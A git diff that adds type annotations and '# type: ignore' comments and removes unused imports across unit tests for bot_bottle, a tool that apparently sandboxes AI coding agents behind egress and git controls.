 
 
 # ---------------------------------------------------------------------------
@@ -175,9 +175,9 @@ class TestExecUserSwitching(unittest.TestCase):
 class TestExecResultParity(unittest.TestCase):
     """Both backends return ExecResult with returncode, stdout, stderr."""
 
-    def _stub_run(self, argv, **kwargs):
+    def _stub_run(self, argv: object, **kwargs: object) -> object:  # type: ignore
         return subprocess.CompletedProcess(
-            argv, 0, stdout="out\n", stderr="err\n",
+            argv, 0, stdout="out\n", stderr="err\n",  # type: ignore
         )
 
     def test_docker_exec_result_shape(self):
diff --git a/tests/unit/test_backend_selection.py b/tests/unit/test_backend_selection.py
index 1b9d076..a4ce017 100644
--- a/tests/unit/test_backend_selection.py
+++ b/tests/unit/test_backend_selection.py
@@ -65,7 +65,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
         )
 
         class _FakeBackend:
-            def __init__(self, items, available=True):
+            def __init__(self, items: object, available: object = True) -> None:  # type: ignore
                 self._items = items
                 self._available = available
 
@@ -100,13 +100,13 @@ class TestEnumerateActiveAgents(unittest.TestCase):
         )
 
         class _FakeBackend:
-            def __init__(self, items):
+            def __init__(self, items: object) -> None:  # type: ignore
                 self._items = items
 
-            def is_available(self):
+            def is_available(self) -> bool:
                 return True
 
-            def enumerate_active(self):
+            def enumerate_active(self) -> object:
                 return self._items
 
         with patch.object(
@@ -150,11 +150,11 @@ class TestEnumerateActiveAgents(unittest.TestCase):
         )
 
         class _FakeBackend:
-            def __init__(self, items, available):
+            def __init__(self, items: object, available: object) -> None:  # type: ignore
                 self._items = items
                 self._available = available
 
-            def is_available(self):
+            def is_available(self) -> object:
                 return self._available
 
             def enumerate_active(self):
diff --git a/tests/unit/test_capability_apply.py b/tests/unit/test_capability_apply.py
index f494bce..3468f68 100644
--- a/tests/unit/test_capability_apply.py
+++ b/tests/unit/test_capability_apply.py
@@ -67,13 +67,13 @@ class TestApplyCapabilityChange(_FakeHomeMixin, unittest.TestCase):
         self._orig_push = capability_apply._push_working_tree
         self._orig_teardown = capability_apply._teardown_bottle
 
-        def stub_snapshot(slug):
+        def stub_snapshot(slug: object) -> None:  # type: ignore
             self._calls.append(f"snapshot:{slug}")
 
-        def stub_push(slug):
+        def stub_push(slug: object) -> None:  # type: ignore
             self._calls.append(f"push:{slug}")
 
-        def stub_teardown(slug):
+        def stub_teardown(slug: object) -> None:  # type: ignore
             self._calls.append(f"teardown:{slug}")
 
         capability_apply.snapshot_transcript = stub_snapshot  # type: ignore[assignment]
diff --git a/tests/unit/test_cli_cleanup_cross_backend.py b/tests/unit/test_cli_cleanup_cross_backend.py
index 328efb0..5e4814f 100644
--- a/tests/unit/test_cli_cleanup_cross_backend.py
+++ b/tests/unit/test_cli_cleanup_cross_backend.py
@@ -6,7 +6,6 @@ the operator confirms.  Mocks the backends and stdin."""
 
 from __future__ import annotations
 
-import sys
 import unittest
 from unittest.mock import patch, MagicMock
 
@@ -32,7 +31,7 @@ class TestCmdCleanup(unittest.TestCase):
             return_value=("docker", "smolmachines"),
         ), patch.object(
             cmd, "get_bottle_backend",
-            side_effect=lambda name: backends_by_name[name],
+            side_effect=lambda name: backends_by_name[name],  # type: ignore
         ), patch.object(
             cmd, "_prompt_yes", return_value=True,
         ):
@@ -53,7 +52,7 @@ class TestCmdCleanup(unittest.TestCase):
             return_value=("docker", "smolmachines"),
         ), patch.object(
             cmd, "get_bottle_backend",
-            side_effect=lambda name: backends_by_name[name],
+            side_effect=lambda name: backends_by_name[name],  # type: ignore
         ), patch.object(
             cmd, "_prompt_yes",
         ) as prompt:
@@ -72,7 +71,7 @@ class TestCmdCleanup(unittest.TestCase):
             return_value=("docker", "smolmachines"),
         ), patch.object(
             cmd, "get_bottle_backend",
-            side_effect=lambda name: backends_by_name[name],
+            side_effect=lambda name: backends_by_name[name],  # type: ignore
         ), patch.object(
             cmd, "_prompt_yes", return_value=False,
         ):
@@ -92,7 +91,7 @@ class TestCmdCleanup(unittest.TestCase):
             return_value=("docker", "smolmachines"),
         ), patch.object(
             cmd, "get_bottle_backend",
-            side_effect=lambda name: backends_by_name[name],
+            side_effect=lambda name: backends_by_name[name],  # type: ignore
         ), patch.object(
             cmd, "_prompt_yes", return_value=True,
         ):
diff --git a/tests/unit/test_cli_start_selector.py b/tests/unit/test_cli_start_selector.py
index 1e50e3c..f224f47 100644
--- a/tests/unit/test_cli_start_selector.py
+++ b/tests/unit/test_cli_start_selector.py
@@ -9,10 +9,8 @@ All actual launch work is stubbed so no container is created.
 from __future__ import annotations
 
 import os
-import sys
-import types
 import unittest
-from unittest.mock import MagicMock, patch, call
+from unittest.mock import MagicMock, patch
 
 import bot_bottle.cli.start as start_mod
 import bot_bottle.cli.tui as tui_mod
diff --git a/tests/unit/test_cli_start_settle.py b/tests/unit/test_cli_start_settle.py
index bee5de5..42ab560 100644
--- a/tests/unit/test_cli_start_settle.py
+++ b/tests/unit/test_cli_start_settle.py
@@ -36,7 +36,7 @@ class TestCaptureSessionState(_FakeHomeMixin, unittest.TestCase):
         # covers the real docker cp path.
         self._snap_calls: list[str] = []
         self._orig_snap = start_mod.snapshot_transcript
-        start_mod.snapshot_transcript = lambda identity: (
+        start_mod.snapshot_transcript = lambda identity: (  # type: ignore
             self._snap_calls.append(identity)
         )
 
diff --git a/tests/unit/test_codex_auth.py b/tests/unit/test_codex_auth.py
index e996bac..d63ae2a 100644
--- a/tests/unit/test_codex_auth.py
+++ b/tests/unit/test_codex_auth.py
@@ -21,14 +21,14 @@ def _jwt(exp: int) -> str:
     return _jwt_with_payload({"exp": exp})
 
 
-def _jwt_with_payload(payload: dict) -> str:
-    def enc(obj: dict) -> str:
+def _jwt_with_payload(payload: dict[str, object]) -> str:  # type: ignore
+    def enc(obj: dict[str, object]) -> str:  # type: ignore
         raw = json.dumps(obj, separators=(",", ":")).encode()
         return base64.urlsafe_b64encode(raw).decode().rstrip("=")
     return f"{enc({'alg': 'none'})}.{enc(payload)}.sig"
 
 
-def _jwt_payload(token: str) -> dict:
+def _jwt_payload(token: str) -> dict[str, object]:  # type: ignore
     payload = token.split(".")[1]
     payload += "=" * (-len(payload) % 4)
     return json.loads(base64.urlsafe_b64decode(payload.encode()).decode())
@@ -43,7 +43,7 @@ class TestCodexHostAccessToken(unittest.TestCase):
     def tearDown(self):
         self.tmp.cleanup()
 
-    def _write(self, payload: dict) -> None:
+    def _write(self, payload: dict[str, object]) -> None:  # type: ignore
         self.auth_path.write_text(json.dumps(payload))
 
     def test_auth_path_uses_codex_home(self):
@@ -210,11 +210,11 @@ class TestCodexHostAccessToken(unittest.TestCase):
         access_payload = _jwt_payload(dummy["tokens"]["access_token"])
         auth = access_payload["https://api.openai.com/auth"]
         profile = access_payload["https://api.openai.com/profile"]
-        self.assertEqual("plus", auth["chatgpt_plan_type"])
-        self.assertEqual("acct-real", auth["chatgpt_account_id"])
-        self.assertEqual("bot-bottle-placeholder", auth["chatgpt_user_id"])
-        self.assertEqual("bot-bottle@example.invalid", profile["email"])
-        self.assertTrue(profile["email_verified"])
+        self.assertEqual("plus", auth["chatgpt_plan_type"])  # type: ignore
+        self.assertEqual("acct-real", auth["chatgpt_account_id"])  # type: ignore
+        self.assertEqual("bot-bottle-placeholder", auth["chatgpt_user_id"])  # type: ignore
+        self.assertEqual("bot-bottle@example.invalid", profile["email"])  # type: ignore
+        self.assertTrue(profile["email_verified"])  # type: ignore
 
     def test_dummy_auth_redacts_unknown_future_auth_fields(self):
         secrets = [
@@ -289,8 +289,8 @@ class TestCodexHostAccessToken(unittest.TestCase):
         self.assertEqual({}, access_payload["future_nested"])
         self.assertEqual([], access_payload["future_list"])
         auth = access_payload["https://api.openai.com/auth"]
-        self.assertEqual("bot-bottle-placeholder", auth["session_context"])
-        self.assertEqual({}, auth["nested"])
+        self.assertEqual("bot-bottle-placeholder", auth["session_context"])  # type: ignore
+        self.assertEqual({}, auth["nested"])  # type: ignore
 
 
 if __name__ == "__main__":
diff --git a/tests/unit/test_compose.py b/tests/unit/test_compose.py
index b147c3e..3633f39 100644
--- a/tests/unit/test_compose.py
+++ b/tests/unit/test_compose.py
@@ -12,6 +12,7 @@ from __future__ import annotations
 import subprocess
 import unittest
 from pathlib import Path
+from typing import Any
 from unittest import mock
 
 from bot_bottle.agent_provider import AgentProvisionPlan
@@ -45,7 +46,7 @@ def _manifest(*, supervise: bool, with_git: bool, with_egress: bool) -> Manifest
     """Minimal manifest with the toggles the chunk-1 matrix needs.
     The renderer only reads from the plan, not the manifest, so this
     is just here to back BottleSpec."""
-    bottle: dict = {}
+    bottle: dict[str, object] = {}
     if supervise:
         bottle["supervise"] = True
     if with_git:
@@ -271,13 +272,13 @@ class TestAgentAlwaysPresent(unittest.TestCase):
             dockerfile="",
             guest_env={"CODEX_HOME": "/home/node/.codex"},
         )
-        plan = type(plan)(**{**vars(plan), "agent_provision": provision})
+        plan = type(plan)(**{**vars(plan), "agent_provision": provision})  # type: ignore
         s = bottle_plan_to_compose(plan)["services"]["agent"]
         self.assertIn("CODEX_HOME=/home/node/.codex", s["environment"])
 
     def test_agent_runsc_runtime(self):
         plan = _plan()
-        plan = type(plan)(**{**vars(plan), "use_runsc": True})
+        plan = type(plan)(**{**vars(plan), "use_runsc": True})  # type: ignore
         s = bottle_plan_to_compose(plan)["services"]["agent"]
         self.assertEqual("runsc", s["runtime"])
 
@@ -309,8 +310,8 @@ class TestSidecarBundleShape(unittest.TestCase):
     + supervise). PRD 0024 chunk 5 dropped the legacy four-sidecar
     shape entirely, so the bundle is the only thing exercised here."""
 
-    def _render(self, **plan_kwargs):
-        return bottle_plan_to_compose(_plan(**plan_kwargs))
+    def _render(self, **plan_kwargs: object) -> Any:  # type: ignore
+        return bottle_plan_to_compose(_plan(**plan_kwargs))  # type: ignore
 
     def test_emits_two_services_minimal(self):
         spec = self._render()
diff --git a/tests/unit/test_contrib_claude_provider.py b/tests/unit/test_contrib_claude_provider.py
index a79fada..9225d90 100644
--- a/tests/unit/test_contrib_claude_provider.py
+++ b/tests/unit/test_contrib_claude_provider.py
@@ -14,7 +14,6 @@ from unittest.mock import MagicMock, patch
 
 from bot_bottle.agent_provider import (
     AgentProvisionCommand,
-    AgentProvisionDir,
     AgentProvisionFile,
     AgentProvisionPlan,
 )
@@ -53,7 +52,7 @@ def _plan(
     agent_provision: AgentProvisionPlan | None = None,
     supervise: bool = False,
 ) -> DockerBottlePlan:
-    bottle_json: dict = {"agent_provider": {"template": "claude"}}
+    bottle_json: dict = {"agent_provider": {"template": "claude"}}  # type: ignore
     if supervise:
         bottle_json["supervise"] = True
     manifest = Manifest.from_json_obj({
@@ -166,7 +165,7 @@ class TestClaudeProvisionSkills(unittest.TestCase):
         bottle = _make_bottle()
         with patch(
             "bot_bottle.backend.util.host_skill_dir",
-            side_effect=lambda n: f"/host/skills/{n}",
+            side_effect=lambda n: f"/host/skills/{n}",  # type: ignore
         ), patch(
             "bot_bottle.contrib.claude.agent_provider.os.path.isdir",
             return_value=True,
@@ -192,7 +191,7 @@ class TestClaudeProvisionSkills(unittest.TestCase):
         bottle = _make_bottle()
         with patch(
             "bot_bottle.backend.util.host_skill_dir",
-            side_effect=lambda n: f"/host/skills/{n}",
+            side_effect=lambda n: f"/host/skills/{n}",  # type: ignore
         ), patch(
             "bot_bottle.contrib.claude.agent_provider.os.path.isdir",
             return_value=False,
diff --git a/tests/unit/test_contrib_codex_provider.py b/tests/unit/test_contrib_codex_provider.py
index c229ea8..7de7b0e 100644
--- a/tests/unit/test_contrib_codex_provider.py
+++ b/tests/unit/test_contrib_codex_provider.py
@@ -53,7 +53,7 @@ def _plan(
     agent_provision: AgentProvisionPlan | None = None,
     supervise: bool = False,
 ) -> DockerBottlePlan:
-    bottle_json: dict = {"agent_provider": {"template": "codex"}}
+    bottle_json: dict = {"agent_provider": {"template": "codex"}}  # type: ignore
     if supervise:
         bottle_json["supervise"] = True
     manifest = Manifest.from_json_obj({
@@ -153,7 +153,7 @@ class TestCodexProvisionSkills(unittest.TestCase):
         bottle = _make_bottle()
         with patch(
             "bot_bottle.backend.util.host_skill_dir",
-            side_effect=lambda n: f"/host/skills/{n}",
+            side_effect=lambda n: f"/host/skills/{n}",  # type: ignore
         ), patch(
             "bot_bottle.contrib.codex.agent_provider.os.path.isdir",
             return_value=True,
diff --git a/tests/unit/test_contrib_gitea_deploy_key.py b/tests/unit/test_contrib_gitea_deploy_key.py
index 095a0f8..b5a0402 100644
--- a/tests/unit/test_contrib_gitea_deploy_key.py
+++ b/tests/unit/test_contrib_gitea_deploy_key.py
@@ -6,9 +6,7 @@ import json
 import unittest
 import urllib.error
 from io import BytesIO
-from pathlib import Path
-from tempfile import mkdtemp
-from unittest.mock import MagicMock, call, patch
+from unittest.mock import MagicMock, patch
 
 from bot_bottle.contrib.gitea.deploy_key_provisioner import (
     GiteaDeployKeyProvisioner,
@@ -22,11 +20,11 @@ def _provisioner() -> GiteaDeployKeyProvisioner:
     )
 
 
-def _urlopen_response(body: dict, status: int = 200) -> MagicMock:
+def _urlopen_response(body: dict, status: int = 200) -> MagicMock:  # type: ignore
     resp = MagicMock()
     resp.read.return_value = json.dumps(body).encode()
     resp.status = status
-    resp.__enter__ = lambda s: s
+    resp.__enter__ = lambda s: s  # type: ignore
     resp.__exit__ = MagicMock(return_value=False)
     return resp
 
diff --git a/tests/unit/test_deploy_key_provisioner.py b/tests/unit/test_deploy_key_provisioner.py
index 8a3a81f..4429327 100644
--- a/tests/unit/test_deploy_key_provisioner.py
+++ b/tests/unit/test_deploy_key_provisioner.py
@@ -3,7 +3,6 @@
 from __future__ import annotations
 
 import unittest
-from unittest.mock import patch
 
 from bot_bottle.deploy_key_provisioner import DeployKeyProvisioner, get_provisioner
 from bot_bottle.manifest import ManifestError
diff --git a/tests/unit/test_docker_enumerate_active.py b/tests/unit/test_docker_enumerate_active.py
index 2d58c8d..0ba71c2 100644
--- a/tests/unit/test_docker_enumerate_active.py
+++ b/tests/unit/test_docker_enumerate_active.py
@@ -99,7 +99,7 @@ class TestEnumerateActive(_FakeHomeMixin, unittest.TestCase):
         self._teardown_fake_home()
 
     def _stub(self, slugs: list[str], services_by_project: dict[str, set[str]]) -> None:
-        _enumerate.list_active_slugs = lambda **_: slugs
+        _enumerate.list_active_slugs = lambda **_: slugs  # type: ignore
         _enumerate._query_services_by_project = lambda: services_by_project
 
     def test_no_active_slugs_returns_empty(self):
diff --git a/tests/unit/test_docker_provision_git_user.py b/tests/unit/test_docker_provision_git_user.py
index c83dd92..9e6fc39 100644
--- a/tests/unit/test_docker_provision_git_user.py
+++ b/tests/unit/test_docker_provision_git_user.py
@@ -11,7 +11,7 @@ from __future__ import annotations
 import tempfile
 import unittest
 from pathlib import Path
-from unittest.mock import MagicMock, call
+from unittest.mock import MagicMock
 
 from bot_bottle.agent_provider import AgentProvisionPlan
 from bot_bottle.backend import Bottle, BottleSpec, ExecResult
@@ -24,11 +24,11 @@ from bot_bottle.pipelock import PipelockProxyPlan
 from bot_bottle.workspace import workspace_plan
 
 
-def _plan(*, git_user: dict | None = None,
+def _plan(*, git_user: dict | None = None,  # type: ignore
           copy_cwd: bool = False,
           user_cwd: str = "/tmp/x",
           stage_dir: Path | None = None) -> DockerBottlePlan:
-    bottle_json: dict = {}
+    bottle_json: dict = {}  # type: ignore
     if git_user is not None:
         bottle_json["git-gate"] = {"user": git_user}
     manifest = Manifest.from_json_obj({
diff --git a/tests/unit/test_docker_util_image.py b/tests/unit/test_docker_util_image.py
index 941bebf..2b35a67 100644
--- a/tests/unit/test_docker_util_image.py
+++ b/tests/unit/test_docker_util_image.py
@@ -17,13 +17,13 @@ from bot_bottle.backend.docker import util as docker_mod
 from bot_bottle.workspace import WorkspacePlan
 
 
-def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
+def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:  # type: ignore
     return subprocess.CompletedProcess(
         args=[], returncode=0, stdout=stdout, stderr=stderr,
     )
 
 
-def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:
+def _fail(stderr: str = "boom") -> subprocess.CompletedProcess:  # type: ignore
     return subprocess.CompletedProcess(
         args=[], returncode=1, stdout="", stderr=stderr,
     )
@@ -110,7 +110,7 @@ class TestBuildImageWithCwd(unittest.TestCase):
                 workdir="/guest/home/workspace",
             )
 
-            def inspect_context(*args, **kwargs):
+            def inspect_context(*args, **kwargs):  # type: ignore
                 context = Path(args[0][-1])
                 staged = context / "workspace"
                 self.assertTrue((staged / ".gitignore").is_file())
diff --git a/tests/unit/test_egress.py b/tests/unit/test_egress.py
index ade8cff..bb8de25 100644
--- a/tests/unit/test_egress.py
+++ b/tests/unit/test_egress.py
@@ -17,7 +17,7 @@ from bot_bottle.manifest import Manifest
 from bot_bottle.yaml_subset import parse_yaml_subset
 
 
-def _bottle(routes):
+def _bottle(routes):  # type: ignore
     return Manifest.from_json_obj({
         "bottles": {"dev": {"egress": {"routes": routes}}},
         "agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
@@ -257,8 +257,8 @@ class TestRenderRoutes(unittest.TestCase):
     will see, not the textual layout."""
 
     @staticmethod
-    def _parsed(routes) -> list[dict]:
-        return parse_yaml_subset(egress_render_routes(routes))["routes"]
+    def _parsed(routes) -> list[dict]:  # type: ignore
+        return parse_yaml_subset(egress_render_routes(routes))["routes"]  # type: ignore
 
     def test_authenticated_route_serialised_with_auth_fields(self):
         b = _bottle([{
diff --git a/tests/unit/test_egress_addon_core.py b/tests/unit/test_egress_addon_core.py
index 9df1388..0b1fa90 100644
--- a/tests/unit/test_egress_addon_core.py
+++ b/tests/unit/test_egress_addon_core.py
@@ -159,7 +159,7 @@ class TestMatchRoute(unittest.TestCase):
     def test_exact_match(self):
         r = match_route(self.ROUTES, "api.github.com")
         self.assertIsNotNone(r)
-        self.assertEqual("api.github.com", r.host)
+        self.assertEqual("api.github.com", r.host)  # type: ignore
 
     def test_case_insensitive(self):
         # DNS hostnames are case-insensitive per RFC 1035; mitmproxy
@@ -167,7 +167,7 @@ class TestMatchRoute(unittest.TestCase):
         # uppercase. Lookup must normalise.
         r = match_route(self.ROUTES, "API.GitHub.COM")
         self.assertIsNotNone(r)
-        self.assertEqual("api.github.com", r.host)
+        self.assertEqual("api.github.com", r.host)  # type: ignore
 
     def test_no_match_returns_none(self):
         self.assertIsNone(match_route(self.ROUTES, "elsewhere.example"))
@@ -370,7 +370,7 @@ class TestGitPushBlockFailFast(unittest.TestCase):
                 self.send_header("Content-Length", "0")
                 self.end_headers()
 
-            def log_message(self, _fmt, *_args):
+            def log_message(self, _fmt, *_args):  # type: ignore
                 pass
 
         server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), Handler)
diff --git a/tests/unit/test_egress_apply.py b/tests/unit/test_egress_apply.py
index 29c63fd..ea54f20 100644
--- a/tests/unit/test_egress_apply.py
+++ b/tests/unit/test_egress_apply.py
@@ -21,10 +21,10 @@ _ROUTES_EMPTY = "routes: []\n"
 _ROUTES_ONE = 'routes:\n  - host: "api.anthropic.com"\n'
 
 
-def _routes(parsed: str) -> list[dict]:
+def _routes(parsed: str) -> list[dict]:  # type: ignore
     """Parse a YAML routes string and pull out the routes list, so
     tests can assert on shape directly."""
-    return parse_yaml_subset(parsed)["routes"]
+    return parse_yaml_subset(parsed)["routes"]  # type: ignore
 
 
 class TestValidateRoutesContent(unittest.TestCase):
diff --git a/tests/unit/test_git_http_backend.py b/tests/unit/test_git_http_backend.py
index c6c98b9..ae6ddbc 100644
--- a/tests/unit/test_git_http_backend.py
+++ b/tests/unit/test_git_http_backend.py
@@ -189,7 +189,7 @@ class TestGitHttpBackend(unittest.TestCase):
                     try:
                         urllib.request.urlopen(req, timeout=5)
                         self.fail("expected HTTPError 403")
-                    except urllib.error.HTTPError as e:
+                    except urllib.error.HTTPError as e:  # type: ignore
                         self.assertEqual(403, e.code)
                         self.assertIn(b"upstream fetch failed", e.read())
 
@@ -234,7 +234,7 @@ class TestGitHttpBackend(unittest.TestCase):
                     try:
                         urllib.request.urlopen(req, timeout=5)
                         self.fail("expected HTTPError 403")
-                    except urllib.error.HTTPError as e:
+                    except urllib.error.HTTPError as e:  # type: ignore
                         self.assertEqual(403, e.code)
 
                 logged = buf.getvalue()
@@ -291,7 +291,7 @@ class TestContentLengthBounds(unittest.TestCase):
         try:
             with urllib.request.urlopen(req, timeout=3) as resp:
                 return resp.status
-        except urllib.error.HTTPError as e:
+        except urllib.error.HTTPError as e:  # type: ignore
             return e.code
 
     def test_non_numeric_content_length_returns_400(self):
diff --git a/tests/unit/test_manifest_agent_git_user.py b/tests/unit/test_manifest_agent_git_user.py
index 1e799e5..7771994 100644
--- a/tests/unit/test_manifest_agent_git_user.py
+++ b/tests/unit/test_manifest_agent_git_user.py
@@ -22,7 +22,7 @@ from pathlib import Path
 from bot_bottle.manifest import ManifestError, Manifest
 
 
-def _error_message(callable_, *args, **kwargs) -> str:
+def _error_message(callable_, *args, **kwargs) -> str:  # type: ignore
     """Run `callable_` expecting a ManifestError; return its message."""
     try:
         callable_(*args, **kwargs)
@@ -31,11 +31,11 @@ def _error_message(callable_, *args, **kwargs) -> str:
     raise AssertionError("expected ManifestError was not raised")
 
 
-def _manifest(*, bottle_user=None, agent_git=None) -> Manifest:
-    bottle: dict = {}
+def _manifest(*, bottle_user=None, agent_git=None) -> Manifest:  # type: ignore
+    bottle: dict = {}  # type: ignore
     if bottle_user is not None:
         bottle = {"git-gate": {"user": bottle_user}}
-    agent: dict = {"skills": [], "prompt": "", "bottle": "dev"}
+    agent: dict = {"skills": [], "prompt": "", "bottle": "dev"}  # type: ignore
     if agent_git is not None:
         agent["git-gate"] = agent_git
     return Manifest.from_json_obj({
diff --git a/tests/unit/test_manifest_egress.py b/tests/unit/test_manifest_egress.py
index 1dba6a5..caf6cc4 100644
--- a/tests/unit/test_manifest_egress.py
+++ b/tests/unit/test_manifest_egress.py
@@ -7,17 +7,17 @@ auth omission means unauthenticated."""
 
 import unittest
 
-from bot_bottle.manifest import ManifestError, EgressRoute, Manifest
+from bot_bottle.manifest import ManifestError, Manifest
 
 
-def _bottle(routes):
+def _bottle(routes):  # type: ignore
     return Manifest.from_json_obj({
         "bottles": {"dev": {"egress": {"routes": routes}}},
         "agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
     }).bottles["dev"]
 
 
-def _provider_bottle(provider, routes):
+def _provider_bottle(provider, routes):  # type: ignore
     return Manifest.from_json_obj({
         "bottles": {
             "dev": {
@@ -29,7 +29,7 @@ def _provider_bottle(provider, routes):
     }).bottles["dev"]
 
 
-def _provider_config_bottle(agent_provider):
+def _provider_config_bottle(agent_provider):  # type: ignore
     return Manifest.from_json_obj({
         "bottles": {"dev": {"agent_provider": agent_provider}},
         "agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
diff --git a/tests/unit/test_manifest_extends.py b/tests/unit/test_manifest_extends.py
index d45ddb0..b1a20ad 100644
--- a/tests/unit/test_manifest_extends.py
+++ b/tests/unit/test_manifest_extends.py
@@ -15,7 +15,7 @@ import unittest
 from bot_bottle.manifest import ManifestError, Manifest
 
 
-def _error_message(callable_, *args, **kwargs) -> str:
+def _error_message(callable_, *args, **kwargs) -> str:  # type: ignore
     """Run `callable_` expecting a ManifestError; return its message."""
     try:
         callable_(*args, **kwargs)
@@ -24,7 +24,7 @@ def _error_message(callable_, *args, **kwargs) -> str:
     raise AssertionError("expected ManifestError was not raised")
 
 
-def _build(**bottles) -> Manifest:
+def _build(**bottles) -> Manifest:  # type: ignore
     """Build a manifest with the given bottles and one trivial agent
     referencing the first bottle (so the manifest is valid)."""
     first = next(iter(bottles))
diff --git a/tests/unit/test_manifest_git.py b/tests/unit/test_manifest_git.py
index 16a7d8d..4a8a491 100644
--- a/tests/unit/test_manifest_git.py
+++ b/tests/unit/test_manifest_git.py
@@ -5,7 +5,7 @@ import unittest
 from bot_bottle.manifest import ManifestError, Manifest
 
 
-def _manifest(repos: dict) -> dict:
+def _manifest(repos: dict) -> dict:  # type: ignore
     return {
         "bottles": {"dev": {"git-gate": {"repos": repos}}},
         "agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
diff --git a/tests/unit/test_manifest_git_user.py b/tests/unit/test_manifest_git_user.py
index e4dc3a2..324f898 100644
--- a/tests/unit/test_manifest_git_user.py
+++ b/tests/unit/test_manifest_git_user.py
@@ -5,7 +5,7 @@ import unittest
 from bot_bottle.manifest import ManifestError, GitUser, Manifest
 
 
-def _error_message(callable_, *args, **kwargs) -> str:
+def _error_message(callable_, *args, **kwargs) -> str:  # type: ignore
     """Run `callable_` expecting a ManifestError; return its message."""
     try:
         callable_(*args, **kwargs)
@@ -14,7 +14,7 @@ def _error_message(callable_, *args, **kwargs) -> str:
     raise AssertionError("expected ManifestError was not raised")
 
 
-def _manifest(git_user):
+def _manifest(git_user):  # type: ignore
     return {
         "bottles": {"dev": {"git-gate": {"user": git_user}}},
         "agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
diff --git a/tests/unit/test_pipelock_allowlist.py b/tests/unit/test_pipelock_allowlist.py
index e6f6722..23383e1 100644
--- a/tests/unit/test_pipelock_allowlist.py
+++ b/tests/unit/test_pipelock_allowlist.py
@@ -15,14 +15,14 @@ from bot_bottle.pipelock import (
 )
 
 
-def _bottle(spec):
+def _bottle(spec):  # type: ignore
     return Manifest.from_json_obj({
         "bottles": {"dev": spec},
         "agents": {"demo": {"skills": [], "prompt": "", "bottle": "dev"}},
     }).bottles["dev"]
 
 
-def _routes(routes):
+def _routes(routes):  # type: ignore
     return {"egress": {"routes": routes}}
 
 
diff --git a/tests/unit/test_pipelock_apply.py b/tests/unit/test_pipelock_apply.py
index db49a63..8a35729 100644
--- a/tests/unit/test_pipelock_apply.py
+++ b/tests/unit/test_pipelock_apply.py
@@ -74,7 +74,7 @@ class TestYamlRoundtripPreservesPipelockFields(unittest.TestCase):
             "dlp": {"include_defaults": True, "scan_env": True},
             "request_body_scanning": {"action": "block"},
         }
-        rendered = pipelock_render_yaml(cfg)
+        rendered = pipelock_render_yaml(cfg)  # type: ignore
         parsed = parse_yaml_subset(rendered)
         self.assertEqual(["a.example", "b.example"], parsed["api_allowlist"])
         self.assertEqual(1, parsed["version"])
@@ -97,7 +97,7 @@ class TestYamlRoundtripPreservesPipelockFields(unittest.TestCase):
                 "passthrough_domains": ["api.anthropic.com"],
             },
         }
-        parsed = parse_yaml_subset(pipelock_render_yaml(cfg))
+        parsed = parse_yaml_subset(pipelock_render_yaml(cfg))  # type: ignore
         parsed["api_allowlist"] = ["new.example"]
         rerendered = pipelock_render_yaml(parsed)
         roundtripped = parse_yaml_subset(rerendered)
diff --git a/tests/unit/test_pipelock_yaml.py b/tests/unit/test_pipelock_yaml.py
index e565694..52e6dd8 100644
--- a/tests/unit/test_pipelock_yaml.py
+++ b/tests/unit/test_pipelock_yaml.py
@@ -10,7 +10,7 @@ import os
 import tempfile
 import unittest
 from pathlib import Path
-from typing import Any, cast
+from typing import cast
 
 from bot_bottle.manifest import Manifest
 from bot_bottle.pipelock import (
diff --git a/tests/unit/test_plan_print_parity.py b/tests/unit/test_plan_print_parity.py
index 10328f4..e0fdb29 100644
--- a/tests/unit/test_plan_print_parity.py
+++ b/tests/unit/test_plan_print_parity.py
@@ -220,7 +220,11 @@ class TestEgressPrintParity(unittest.TestCase):
                 indent_prefix = ln[:idx]
                 result.append(ln)
             elif collecting:
-                if ln.startswith(indent_prefix) and "egress" not in ln and ":" not in ln.lstrip()[:20]:
+                if (
+                    ln.startswith(indent_prefix)  # type: ignore
+                    and "egress" not in ln
+                    and ":" not in ln.lstrip()[:20]
+                ):
                     result.append(ln)
                 else:
                     break
diff --git a/tests/unit/test_smolmachines_cleanup.py b/tests/unit/test_smolmachines_cleanup.py
index 1e585ae..92fa8bf 100644
--- a/tests/unit/test_smolmachines_cleanup.py
+++ b/tests/unit/test_smolmachines_cleanup.py
@@ -18,7 +18,7 @@ from bot_bottle.backend.smolmachines.bottle_cleanup_plan import (
 )
 
 
-def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:
+def _ok(stdout: str = "", stderr: str = "") -> subprocess.CompletedProcess:  # type: ignore
     return subprocess.CompletedProcess(
         args=[], returncode=0, stdout=stdout, stderr=stderr,
     )
@@ -35,7 +35,7 @@ class TestPrepareCleanup(unittest.TestCase):
         self.assertTrue(plan.empty)
 
     def test_lists_machines_bundles_networks(self):
-        def fake_run(argv, *a, **kw):
+        def fake_run(argv, *a, **kw):  # type: ignore
             if argv[:3] == ["smolvm", "machine", "ls"]:
                 return _ok(stdout=(
                     '[{"name":"bot-bottle-a-1","state":"running"},'
@@ -92,7 +92,7 @@ class TestCleanup(unittest.TestCase):
         )
         calls: list[list[str]] = []
 
-        def fake_run(argv, *a, **kw):
+        def fake_run(argv, *a, **kw):  # type: ignore
             calls.append(list(argv[:4]))
             return _ok()
 
@@ -124,11 +124,13 @@ class TestCleanup(unittest.TestCase):
         )
         results = iter([
             _ok(),  # stop succeeds
-            subprocess.CompletedProcess(args=[], returncode=1, stdout="", stderr="boom"),  # delete fails
+            subprocess.CompletedProcess(
+                args=[], returncode=1, stdout="", stderr="boom"
+            ),  # delete fails
             _ok(),  # bundle rm succeeds
         ])
 
-        def fake_run(argv, *a, **kw):
+        def fake_run(argv, *a, **kw):  # type: ignore
             return next(results)
 
         with patch.object(cleanup.subprocess, "run", side_effect=fake_run), \
diff --git a/tests/unit/test_smolmachines_launch_image.py b/tests/unit/test_smolmachines_launch_image.py
index 07685c9..add3fab 100644
--- a/tests/unit/test_smolmachines_launch_image.py
+++ b/tests/unit/test_smolmachines_launch_image.py
